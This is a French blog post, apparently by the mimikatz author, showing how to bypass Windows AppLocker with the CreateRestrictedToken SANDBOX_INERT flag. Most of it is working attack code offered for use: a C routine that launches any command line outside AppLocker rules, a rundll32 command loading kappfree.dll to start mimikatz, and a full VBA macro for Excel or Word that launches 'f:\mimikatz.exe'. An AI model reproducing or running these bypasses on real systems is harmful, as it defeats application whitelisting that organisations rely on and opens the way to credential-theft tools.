AppLocker contourné par Microsoft

Ce n’est pas une découverte, le moyen de contourner AppLocker est documenté par Microsoft via la fonction CreateRestrictedToken : http://msdn.microsoft.com/library/aa446583.aspx

SANDBOX_INERT 0x2
If this value is used, the system does not check AppLocker rules or apply Software Restriction Policies. For AppLocker, this flag disables checks for all four rule collections: Executable, Windows Installer, Script, and DLL.

… original …

Voici un petit exemple de code pour lancer vos exécutables (même sans être administrateur…), avec la ligne de commande contenue dans la variable lpszCmdLine :

HANDLE monToken;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY, &monToken))
{
	HANDLE monSuperToken;
	if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken))
	{
		PROCESS_INFORMATION mesInfosProcess;
		ZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION));
		STARTUPINFO mesInfosDemarrer;
		ZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
		mesInfosDemarrer.cb = sizeof(STARTUPINFO);
		
		wchar_t * commandLine = _wcsdup(lpszCmdLine);
		if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, false, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess))
		{
			CloseHandle(mesInfosProcess.hThread);
			CloseHandle(mesInfosProcess.hProcess);
		}
		delete[] commandLine;
		CloseHandle(monSuperToken);
	}
	CloseHandle(monToken);
}

Et parce que les librairies sont rarement interdites, il y a dans le package de mimikatz une nouvelle librairie (qui ne s’injecte pas ;)) pour lancer des programmes malgré AppLocker.

Elle peut s’utiliser directement via rundll32 :

rundll32 kappfree.dll,start mimikatz

le programme appelé peut être différent de mimikatz

rundll32_kappfree

Si vraiment cela ne suffit pas….
rundll32_kappfree_locked
…vous pouvez toujours vous amuser dans l’éditeur VBA d’Excel, Word… ;)
modifier la variable commandLine...

Option Explicit

'WINBASEAPI __out Handle WINAPI GetCurrentProcess(VOID);
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long

'WINBASEAPI BOOL WINAPI CloseHandle( __in HANDLE hObject );
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Boolean

Private Const TOKEN_ASSIGN_PRIMARY = &H1
Private Const TOKEN_DUPLICATE = &H2
Private Const TOKEN_QUERY = &H8
'WINADVAPI BOOL WINAPI OpenProcessToken ( __in HANDLE ProcessHandle, __in DWORD DesiredAccess, __deref_out PHANDLE TokenHandle );
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, ByRef TokenHandle As Long) As Boolean


Private Const SANDBOX_INERT = &H2
'WINADVAPI BOOL APIENTRY CreateRestrictedToken( __in HANDLE ExistingTokenHandle, __in DWORD Flags, __in DWORD DisableSidCount, __in_ecount_opt(DisableSidCount) PSID_AND_ATTRIBUTES SidsToDisable, __in DWORD DeletePrivilegeCount, __in_ecount_opt(DeletePrivilegeCount) PLUID_AND_ATTRIBUTES PrivilegesToDelete, __in DWORD RestrictedSidCount, __in_ecount_opt(RestrictedSidCount) PSID_AND_ATTRIBUTES SidsToRestrict, __deref_out PHANDLE NewTokenHandle);
Private Declare Function CreateRestrictedToken Lib "advapi32" (ByVal ExistingTokenHandle As Long, ByVal Flags As Long, ByVal DisableSidCount As Long, ByRef SidsToDisable As Long, ByVal DeletePrivilegeCount As Long, ByRef PrivilegesToDelete As Long, ByVal RestrictedSidCount As Long, ByRef SidsToRestrict As Long, ByRef NewTokenHandle As Long) As Boolean

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type
   
Private Const CREATE_NEW_CONSOLE = &H10
'WINADVAPI BOOL WINAPI CreateProcessAsUserA (__in_opt HANDLE hToken, __in_opt LPCSTR lpApplicationName, __inout_opt LPSTR lpCommandLine, __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles, __in DWORD dwCreationFlags, __in_opt LPVOID lpEnvironment, __in_opt LPCSTR lpCurrentDirectory, __in LPSTARTUPINFOA lpStartupInfo, __out LPPROCESS_INFORMATION lpProcessInformation);
Private Declare Function CreateProcessAsUser Lib "advapi32" Alias "CreateProcessAsUserA" (ByVal hToken As Long, ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As Long, ByRef lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByRef lpEnvironment As Long, ByVal lpCurrentDirectory As String, ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean

Private Sub kappfree()
 
    Dim monToken As Long
    If (OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY Or TOKEN_DUPLICATE Or TOKEN_QUERY, monToken)) Then
        
        Dim monSuperToken As Long
        If (CreateRestrictedToken(monToken, SANDBOX_INERT, 0, ByVal 0&, 0, ByVal 0&, 0, ByVal 0&, monSuperToken)) Then
            
            Dim mesInfosProcess As PROCESS_INFORMATION
            Dim mesInfosDemarrer As STARTUPINFO
            mesInfosDemarrer.cb = Len(mesInfosDemarrer)
 
            Dim commandLine As String
            commandLine = "f:\mimikatz.exe"
 
            If (CreateProcessAsUser(monSuperToken, vbNullString, commandLine$, ByVal 0&, ByVal 0&, False, CREATE_NEW_CONSOLE, ByVal 0&, vbNullString, mesInfosDemarrer, mesInfosProcess)) Then
                
                CloseHandle mesInfosProcess.hThread
                CloseHandle mesInfosProcess.hProcess
            Else
                
                MsgBox "Erreur CreateProcessAsUser : " & Err.LastDllError
            End If
            CloseHandle monSuperToken
        End If
        CloseHandle monToken
    End If
 
End Sub